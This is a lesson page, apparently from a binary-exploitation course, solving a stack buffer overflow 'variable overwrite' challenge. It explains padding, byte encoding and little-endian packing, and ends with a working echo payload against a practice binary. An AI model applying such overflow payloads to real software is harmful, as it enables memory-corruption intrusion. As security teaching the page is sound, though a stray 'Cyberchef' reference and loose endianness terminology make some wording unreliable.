Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. var-overwrite
5 min read

Variable Overwrite

Now, we will do a slight variation on a similar challenge. Now, we need to change the data to a specific value. Let's look at the challenge description:

var-overwrite
$ ./challYour goal is to modify the variable @ 0x7fffa65e6828to equal 0xdeadc0de0x7fffa65e6810: 0x0000000000000000 0x00000000000000000x7fffa65e6820: 0x0000000000000000 0x00000000deadbeefEnter input:

Our padding is identical. Instead of overwriting the Red block with random data, we must fill it with something meaningful.

We can see that the padding will be the same as the last challenge. Ensure you understand how to compute that padding, even without the challenge providing the visualization. Instead of filling that block with random characters, like B, we must fill it with 0xdeadc0de. If we try filling this, it doesn't quite work:

var-overwrite
$ python3 -c "print('A'*24 + '0xdeadc0de')" | ./challYour goal is to modify the variable @ 0x7ffc845fdff8to equal 0xdeadc0de0x7ffc845fdfe0: 0x0000000000000000 0x00000000000000000x7ffc845fdff0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7ffc845fdfe0: 0x4141414141414141 0x41414141414141410x7ffc845fdff0: 0x4141414141414141 0x0063646165647830You did not modify the target...Did you supply enough padding? Try again!

Why doesn't the data show deadc0de? This is because the data is read in as characters rather than hexadecimal. We can decode the Red block's bytes in Python to see it:

python3
>>> # the Red block came back as 0x0063646165647830 — decode those bytes>>> bytes.fromhex("0063646165647830")b'\x00cdaedx0'>>> # our text is in there, just reversed>>> bytes.fromhex("0063646165647830")[::-1]b'0xdeadc\x00'
Why does it print backward?
We'll get to that in a minute. It concerns how the binary reads the data we input.

This tells us we must send the data as bytes to the binary. If we ask for the raw bytes of 0xdeadc0de, we get nonsense:

python3
>>> bytes.fromhex("deadc0de")b'\xde\xad\xc0\xde'

This is because most of these characters aren't on the ASCII table! The ASCII table only supports up to 0x7F, so these print as escape sequences rather than characters. We can confirm the range with man ascii:

man ascii
$ man ascii       070   56    38    8                           170   120   78    x       071   57    39    9                           171   121   79    y       072   58    3A    :                           172   122   7A    z       073   59    3B    ;                           173   123   7B    {       074   60    3C    <                           174   124   7C    |       075   61    3D    =                           175   125   7D    }       076   62    3E    >                           176   126   7E    ~       077   63    3F    ?                           177   127   7F    DEL

Therefore, we can't abuse this using a plaintext input. We need something else to print these bytes and pass them to the binary. We'll use echo for the sake of simplicity. The -e flag will evaluate bytes and return their "ASCII equivalent". Let's pack these up and send them:

var-overwrite
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\xde\xad\xc0\xde" | ./challYour goal is to modify the variable @ 0x7ffdba5af5d8to equal 0xdeadc0de0x7ffdba5af5c0: 0x0000000000000000 0x00000000000000000x7ffdba5af5d0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7ffdba5af5c0: 0x4141414141414141 0x41414141414141410x7ffdba5af5d0: 0x4141414141414141 0x0000000adec0addeYou did not modify the target...Did you supply enough padding? Try again!

With this input, we notice two major problems:

  1. The bytes are printing backward from the way we inputted them. This is directly related to why Cyberchef printed our string backward.
  2. There's an extra 0x0a byte at the end of our input! Referencing the ASCII table, this is the newline character:
012   10    0A    LF  '\n' (new line)

We can fix the second problem using the -n flag for echo, which doesn't include a newline character in the output. Now, let's discuss the first issue.

Nearly all executables are written as LSB (Least Significant Byte) binaries. This means that when the binary reads a block (8 bytes on the stack), it reads the least significant byte first. This is backward from how humans read, who read in MSB (Most Significant Byte). To us, the binary reads from right to left, causing our input to be read backward. To fix this, we need to pack our input backward.

A Word of Caution
Do not pack the entire input backward. We only need to pack the block we're attempting to overwrite. Otherwise, we won't be writing in the correct location. Our padding is still important and needs to carry us to the location we want to overwrite. At that location, we ensure we're writing the bytes in the correct order.

Once we make these two fixes, we get a successful overwrite!

var-overwrite
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAA\xde\xc0\xad\xde" | ./challYour goal is to modify the variable @ 0x7fff83dd83c8to equal 0xdeadc0de0x7fff83dd83b0: 0x0000000000000000 0x00000000000000000x7fff83dd83c0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7fff83dd83b0: 0x4141414141414141 0x41414141414141410x7fff83dd83c0: 0x4141414141414141 0x00000000deadc0deCongrats! You successfully overwrote the variable with the correct value.